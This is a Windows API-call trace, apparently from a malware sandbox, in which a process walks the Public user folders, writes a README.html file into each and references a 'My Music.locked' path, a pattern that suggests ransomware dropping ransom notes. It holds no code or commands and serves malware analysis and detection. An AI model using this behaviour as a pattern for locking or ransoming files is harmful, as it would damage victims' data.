	[0082.682] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.682] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0082.682] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.682] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0082.682] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1
	[0082.682] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
	[0082.682] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1
	[0082.683] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1
	[0082.683] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1
	[0082.683] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1
	[0082.683] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1
	[0082.683] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.683] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.683] CreateFileW (lpFileName="C:\\Users\\Public\\README.html" (normalized: "c:\\users\\public\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.686] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eedf8 | out: lpMode=0x127eedf8) returned 0
	[0082.687] WriteFile (in: hFile=0xc0, lpBuffer=0x123e9200*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eede8, lpOverlapped=0x0 | out: lpBuffer=0x123e9200*, lpNumberOfBytesWritten=0x127eede8*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.688] CloseHandle (hObject=0xc0) returned 1
	[0082.688] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12500960*, nNumberOfCharsToWrite=0x2a, lpNumberOfCharsWritten=0x127ee978, lpReserved=0x0 | out: lpBuffer=0x12500960*, lpNumberOfCharsWritten=0x127ee978*=0x2a) returned 1
	[0082.689] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop" (normalized: "c:\\users\\public\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x127e2648 | out: lpFileInformation=0x127e2648*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0082.689] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop" (normalized: "c:\\users\\public\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.689] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.689] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.689] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x7e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1
	[0082.689] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.689] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1
	[0082.689] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1
	[0082.689] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.689] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.689] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\README.html" (normalized: "c:\\users\\public\\desktop\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.691] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.691] WriteFile (in: hFile=0xc0, lpBuffer=0x12798000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x12798000*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.692] CloseHandle (hObject=0xc0) returned 1
	[0082.692] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12412a10*, nNumberOfCharsToWrite=0x32, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x12412a10*, lpNumberOfCharsWritten=0x127ee914*=0x32) returned 1
	[0082.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127e27d8 | out: lpFileInformation=0x127e27d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x7e9)) returned 1
	[0082.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127e2828 | out: lpFileInformation=0x127e2828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d1)) returned 1
	[0082.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127e2878 | out: lpFileInformation=0x127e2878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485)) returned 1
	[0082.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\desktop.ini" (normalized: "c:\\users\\public\\desktop\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x127e28c8 | out: lpFileInformation=0x127e28c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae)) returned 1
	[0082.694] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents" (normalized: "c:\\users\\public\\documents"), fInfoLevelId=0x0, lpFileInformation=0x127e2918 | out: lpFileInformation=0x127e2918*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0082.694] CreateFileW (lpFileName="C:\\Users\\Public\\Documents" (normalized: "c:\\users\\public\\documents"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.694] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.694] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.694] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.694] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1
	[0082.694] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
	[0082.694] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
	[0082.694] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.694] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.694] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\README.html" (normalized: "c:\\users\\public\\documents\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.695] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.696] WriteFile (in: hFile=0xc0, lpBuffer=0x12798c80*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x12798c80*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.697] CloseHandle (hObject=0xc0) returned 1
	[0082.697] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12412a80*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x12412a80*, lpNumberOfCharsWritten=0x127ee914*=0x34) returned 1
	[0082.698] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music" (normalized: "c:\\users\\public\\documents\\my music"), fInfoLevelId=0x0, lpFileInformation=0x127e2aa8 | out: lpFileInformation=0x127e2aa8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.698] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Music" (normalized: "c:\\users\\public\\documents\\my music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.698] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x127ee93c | out: lpFindFileData=0x127ee93c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0082.698] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12500ae0*, nNumberOfCharsToWrite=0x2f, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12500ae0*, lpNumberOfCharsWritten=0x127ee8a0*=0x2f) returned 1
	[0082.699] DeleteFileW (lpFileName="C:\\Users\\Public\\Documents\\My Music.locked" (normalized: "c:\\users\\public\\documents\\my music.locked")) returned 0
	[0082.699] RemoveDirectoryW (lpPathName="C:\\Users\\Public\\Documents\\My Music.locked" (normalized: "c:\\users\\public\\documents\\my music.locked")) returned 0
	[0082.699] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures" (normalized: "c:\\users\\public\\documents\\my pictures"), fInfoLevelId=0x0, lpFileInformation=0x127e2af8 | out: lpFileInformation=0x127e2af8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.699] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos" (normalized: "c:\\users\\public\\documents\\my videos"), fInfoLevelId=0x0, lpFileInformation=0x127e2b48 | out: lpFileInformation=0x127e2b48*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.699] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\desktop.ini" (normalized: "c:\\users\\public\\documents\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x127e2b98 | out: lpFileInformation=0x127e2b98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116)) returned 1
	[0082.700] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Downloads" (normalized: "c:\\users\\public\\downloads"), fInfoLevelId=0x0, lpFileInformation=0x127e2c38 | out: lpFileInformation=0x127e2c38*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.700] CreateFileW (lpFileName="C:\\Users\\Public\\Downloads" (normalized: "c:\\users\\public\\downloads"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
